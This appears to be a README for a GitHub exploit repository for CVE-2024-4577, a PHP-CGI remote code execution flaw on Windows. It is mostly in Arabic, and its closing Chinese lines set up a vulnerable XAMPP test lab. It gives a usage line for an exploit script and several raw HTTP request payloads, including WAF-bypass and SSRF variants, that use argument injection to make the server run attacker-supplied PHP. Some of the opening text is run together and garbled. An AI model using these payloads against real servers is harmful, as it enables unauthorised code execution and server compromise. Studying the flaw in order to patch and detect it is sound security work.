a-roshbaik/cve-2024-4577-php-rceاستغلال لـ CVE-2024-4577 PHP-CGI RCE على Windows، مع تجاوز WAF ودعم SSRF. يوفر متغيرات استغلال متعددة للسيناريوهات الافتراضية وWAF وSSRF.
cgi.force_redirect + REDIRECT-STATUS.allow_url_include أو auto_prepend_file أو auto_append_file. يمكن تضمين أي ملفات وملفات PHP.allow_url_include و و.auto_prepend_fileauto_append_file| المعلومة | القيمة |
|---|---|
| اسم الثغرة | PHP RCE |
| معرف الثغرة | CVE-2024-4577 |
| مستوى الخطورة | عالٍ |
| نوع الثغرة | RCE |
| صعوبة الاستغلال | منخفضة |
يمكن استخدامه في سيناريو تجاوز WAF + السيناريو الافتراضي:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
مثال:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
يمكن استخدامه في سيناريو SSRF + السيناريو الافتراضي:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
يمكن استخدامه في السيناريو الافتراضي:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
يمكن استخدامه في السيناريو الافتراضي:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows版 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
或者自主去这里挑受影响版本：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
无需任何修改，保持默认配置
使用上述EXP进行测试
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容